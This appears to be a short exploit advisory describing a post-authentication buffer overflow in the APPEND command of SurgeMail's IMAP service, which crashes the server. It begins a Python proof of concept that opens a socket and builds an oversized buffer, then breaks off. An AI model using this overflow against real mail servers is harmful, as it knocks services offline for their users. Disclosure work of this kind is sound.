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Surgemail - IMAP Denial of Service

The IMAP service in surgemail contains a remote buffer overflow problem in the APPEND command. The server can be remotely shutdown by issues a sequence of commands. Keep in mind that this is post authorized meaning that you’ll need an account to actually exploit this bug.
Code as follows:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = ‘\x41′ * [...]